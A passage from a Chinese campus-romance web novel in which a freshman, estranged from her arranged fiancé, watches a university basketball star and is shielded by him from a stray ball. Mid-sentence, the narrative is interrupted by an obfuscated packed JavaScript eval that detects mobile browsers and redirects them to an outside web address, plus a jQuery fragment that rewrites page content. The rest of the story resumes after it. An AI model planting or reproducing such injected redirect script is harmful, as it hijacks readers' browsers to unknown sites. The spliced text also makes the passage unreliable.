凌麦冬盯着那条消息,屏幕的冷光映在她没什么表情的脸上,指尖在手机边框上蹭了一下,没立刻回复。
介不介意?他褚云辰什么时候在乎过她介不介意。
她拇指一动,直接划掉了通知,屏幕跳回枯燥的NBA比赛回放视频,敲下【詹姆斯也就那样...】仿佛骂过褚云辰的偶像就能气到他本人一样...
旁边的桑梓却被点燃了八卦之魂,猛地抓住凌麦冬的手臂:
“等等......那是什么?!未婚妻?!我们麦冬才高中毕业就......已经可以谈婚论嫁了吗!?”一连串问题砸过来。
凌麦冬抽回手,语气淡得像白开水:“你看错了。”
“不可能啊,那些爱心都快闪瞎我了好吧......”桑梓莫名兴奋,“他长得怎么样?帅不帅?也是我们学校的吗?什么时候带出来让我们见见?”
凌麦冬把最后一口牛奶喝完,空盒子精准投进角落的垃圾桶。
“你真看错了。”她站起身,拎起旁边挂着小查理毛绒吊坠的背包,“那就是广告弹窗。”
军训后勤枯燥无比。
八月的太阳毒辣,即使躲在荫凉处,空气里的热浪也黏腻得让人喘不过气。
教官估计也不忍心看她一个“病号”如此爆晒,允许她挪进了有风扇有茶水的“避暑胜地”——大益爱心茶室。
驻守茶室的学姐叫林碧瑶,泡茶的手法行云流水,带着古香古色的韵味。
没了教官盯着,凌麦冬心安理得摸出手机,那条未被回复的消息依旧孤零零悬在对话框顶端。
下面多了一条新的,发送于十分钟前。
【云辰:回答我。】
短短三个字,却让凌麦冬脊椎骨窜上一股,无比的熟悉的麻意,但又混合着某些不甘和不满,周围的喧嚣瞬间像是被一层无形的膜隔开。
两家刚定下婚期。
她和凌宏邈发生争吵离家出走,褚云辰是不会管这些的,他每天都有自己的事情要忙要处理,不会平白无故分出时间给她,当然,也没有耐心哄她,他做不出为了情情爱爱追几千公里的事情,更不会如此亲密叫她。
所以发前一条消息时候,毫无疑问是凌宏邈在背后做推手。
凌麦冬甚至阖上眼睛就能想象到他在凌宏邈面前演戏的样子。
熨帖的衬衫,一丝不苟的领口,金丝眼镜后的眼睛微微弯着,唇角勾着恰到好处的弧度,完美演绎着温文尔雅的准女婿形象。
但只要离得足够近,就能看清那镜片后的目光,沉静淡漠得像深潭,没有丝毫笑意。
可笑的是,【回答我】三个字,才是褚云辰原本的样子,才是褚云辰和她交谈该有的语气。
不容置疑的语气。
往往不是商量,是通知。
凌麦冬的指尖无意识地在手机侧沿叩击了一下,很轻,几乎听不见声响。
她没回。
也用不着她回,褚云辰不会来。
“那林学姐,高墨川也会去今晚的比赛吗?”
高墨川三字让凌麦冬从手机屏幕上抬起眼。
林碧瑶和几个对高墨川感兴趣的新生慷慨分享着校队赛程表,讨论着高墨川的球技,全能型选手,弹跳惊人,对抗拉满,和近几年被库里带起来的,打比较温和的小球风不一样,他打球还是有“暴力美学”,能暴扣虐杀对手......
又聊到他能保持整场比赛下来都是高水平,对身体素质要求极其高,故而有专门的理疗师和厨师,跟理财一样管理身体。
林碧瑶自豪说着只要高墨川想,他甚至能打到36岁...
凌麦冬默默听着,没有插话,只是觉得神奇。
原来只要是球队王牌,不管是在南还是北,待遇都是差不多的,就是不知道高墨川这个王牌,性格是不是也和褚云辰一样傲气。
几轮茶水过后,恢复了些元气的新生们陆续回归训练,棚底下只剩下两人。
林碧瑶换着茶叶,目光有意无意掠过对面人的手机壳上。
从这女孩踏进茶室起,林碧瑶就察觉到了她的不同。
别的新生初来乍到,总带着几分好奇与试探,东张西望,试试这个,看看那个,结伴说笑。她进来时却只是随意一扫,便精准定位了最舒适的位置,然后就将自己与外界彻底隔绝。
但林碧瑶知道她懂茶。
方才斟茶时,只有她一人,指尖在桌面轻叩了三下,行的是标准的叩手礼,那是长年累月的习惯,装不出来。
不过,观察她,倒也不是因为她对这个新生好奇,而是好奇她手机壳上的男孩。
在这金城大学,谁不知道11号是高墨川独有呢?退役了是要挂在体育馆的,故而11号就像高墨川的“别名”。
就算是新生,在入学前刷到过高墨川的视频成为粉丝也不是不可能。
毕竟,她的青梅竹马,高墨川同学,显眼得过分。
“11号,我也喜欢过呢。”林碧瑶将新沏的茶汤推到她面前。
凌麦冬从手机抽离:“喜欢什么?”
林碧瑶:“说来也巧,我也追过11号,说不定,我们喜欢的是同一个球星。”
“是么?”凌麦冬慢条斯理喝了几口茶,不愿接话,“茶还不错。”
林碧瑶堆出笑:“不知道能不能和学妹八卦一下,手机壳上的小男孩,是你男朋友?”
凌麦冬望着水面漾开的细微涟漪,表情没什么起伏,“不算是。”
“感情问题,怎么还含糊不清的,是就是,不是就不是,‘不算是’,是还没追到?暧昧期?还是,完完全全的暗恋?”
“学姐对别人的私事这么感兴趣?”凌麦冬放下了茶杯,目光落在窗外被热浪扭曲的景物上,双手抱臂,做出防御的姿态。
“谈不上感兴趣,只是觉得巧,便多问了几句嘛,都是同学,在这闲着也是无聊,畅所欲言嘛,别介意...”顿了顿,又说,“我认识的那个11号,特招人喜欢,我不止一次,见过狂热追他的,要是学妹也是他球迷,我可以帮你啊......”
“学姐误会了......”凌麦冬起身,再次敲了三下茶桌表示感谢。
出棚子前,她脚步略停顿。
“11号球员,多的是。”
但她的11号,永远只有一个。
-
夜风里带着凉意,篮球场的灯光把地面照得一片雪亮。
凌麦冬单独坐在第一排,过于扎眼的军训服果然引来旁人的搭讪:“学妹,你不用军训的吗?”
她眼皮都懒得抬,随口将话题转开:“训练赛这么好看?值得这么多人围观。”
旁边的学姐凑近解释:“这比赛嘛,男生来看门道,摸底对手实力,我们女生,”她晃了晃手机,“估计都和我差不多,闲着没事来拍点巨星素材剪视频,发各大app,涨粉特别快的咯。”
后排另一个学姐探头问:“学妹呢,冲哪个‘巨星’来的?”
凌麦冬看向场内。
不少球员都在热身找手感,层层影子落在地面堆叠成画,她目光随意扫过,精准落在了熟悉的号码。
少年依旧穿着熟悉白紫配色的球衣,风一吹,薄薄一层球衣贴着身体,底下结实有形的轮廓若隐若现,不愧是篮球巨星,身材管理确实很极致。
凌麦冬多看了两眼,视线才上移,他的长相确实配得上顶流二字,眼神专注又带着几分狠劲,运球,转身,跳投,动作干脆利落,身影穿梭在灯光中,带着少年独有的张扬与纯粹。
真像啊。
凌麦冬挑眉,手指下意识在手机壳背面划过。
“不愧是高墨川,刚开学哎,就已经有小学妹粉了...”学姐顺着她的目光看过去,心下了然,还贴心提醒她,“不过奉劝学妹,要是想告白,或者加微信,可千万别想着当着人群的面他就会心软...”
“怎么说?”凌麦冬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685520|188803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
漫不经心应着。
学姐热心讲着:
很多人都想着比赛刚结束,正是他高兴又放松的时候,约他玩或者找他闲聊,高墨川应该不至于那么决绝,一点面子不给,可惜,这招屡试不爽,结局都是不如她们所想的。
高墨川是实打实的难以融化的冰山。
约他玩,他说要训练没空。
要微信,他说手机不在。
闲聊,他都听不进去,或者拽着吴飞做挡箭牌......
要告白,他就说没那个想法......
拒绝起人来,干脆利落,有礼貌,有分寸,但毫不犹豫的样子也是真的伤人。
凌麦冬默默听着,指尖在唇面点了点。
学姐见她眼神没离开过11号,用肩膀轻轻碰了下她,“学妹这么痴迷,不会也是女友粉吧?可别说你刚入学,军训服都还没褪,就要等不及告白了?”
凌麦冬说:“说不准哦。”
学姐抚额:叽里呱啦的,白说了。
“哔————”
七点哨响,比赛开始,初始球权在高墨川队,他没有传球,直接快攻上篮,闪电般拿下第一分。
动作干净利落,瞬间点燃场边,虽然是训练赛,但因为高墨川的狠劲,激烈度瞬间拉满,球权来来回回,人群躁动,紧张又兴奋。
只有凌麦冬不关心比赛,不在乎比分,她的目光始终黏在11号身上,看着11号的身影游走在球场,像是一个饿久的猎人看到脆弱的猎物游走着。
她大概,在金城大学找到了另外一个‘11号’。
凌麦冬解锁手机,点开置顶,随手往上一划,聊天几乎是她单方面输出的多,褚云辰想回就回,不想理就能心安理得消失,无视她的追问。
“我等了你整整两个小时哎,褚云辰,我这辈子没等过别人哪怕就一分钟。”
“也不算长。”
“还不长?你干什么去了?”
“球队临时有事......”
球队有事,要打比赛,要去训练,总冠军重要......
这是褚云辰和她说过最多的话,篮球永远排在凌麦冬前面,二选一,褚云辰永远选篮球,选梦想。
她不知道球队有多大的事情缺了褚云辰不可,她只知道,那是下着雪的寒冬,是她们第一只宠物的两岁生日。
鼠尾草的香薰燃尽,她在空荡荡的家里盼着,守着,可也没等来一次低头。
心底那些积压许久的细碎的不满再次悄然滋生,蔓延。
凌麦冬录了一段视频。
录下高墨川一记干净利落的盖帽:将张继的投篮狠狠扇飞。
点击发送。
球场人多,信号也就跟着不好,发送进度条缓慢地一下一下跳动,凌麦冬就看着数字一点点增加。
80%,90%。
“啊——”身边的学姐兀地尖叫起来。
她抬起眼。
高速转动看不清纹路的篮球正朝着她飞来,按照这个速度和距离,用不了一分钟就会和她的脸亲密接触,轻则青肿,重则毁容。
本能反应竟然不是躲而是闭眼。
黑暗中。
飞来的球扫过来的劲风几乎擦过凌麦冬的鼻尖,接着,她听见很熟悉的“啪”一声响,那是手和球接触时候会发出的声音,也是她以前经常在篮球场上听到,褚云辰折磨对手,盖帽时候重重拍球的声音。
预想中的疼痛没有到来,取而代之的是温热的怀抱。
耳膜被剧烈的心跳声撞击,一声声,又快又重。
场边的惊呼、哨声、球鞋摩擦声......所有嘈杂的背景音一点点褪去,模糊成一片嗡嗡的白噪音。
凌麦冬睁开半只眼,视野里,只剩下近在咫尺的白色球衣面料,以及透过布料传来的,熟悉的香气。
他闻起来......竟也是淡淡的鼠尾草香。
凌麦冬有一瞬间的晃神。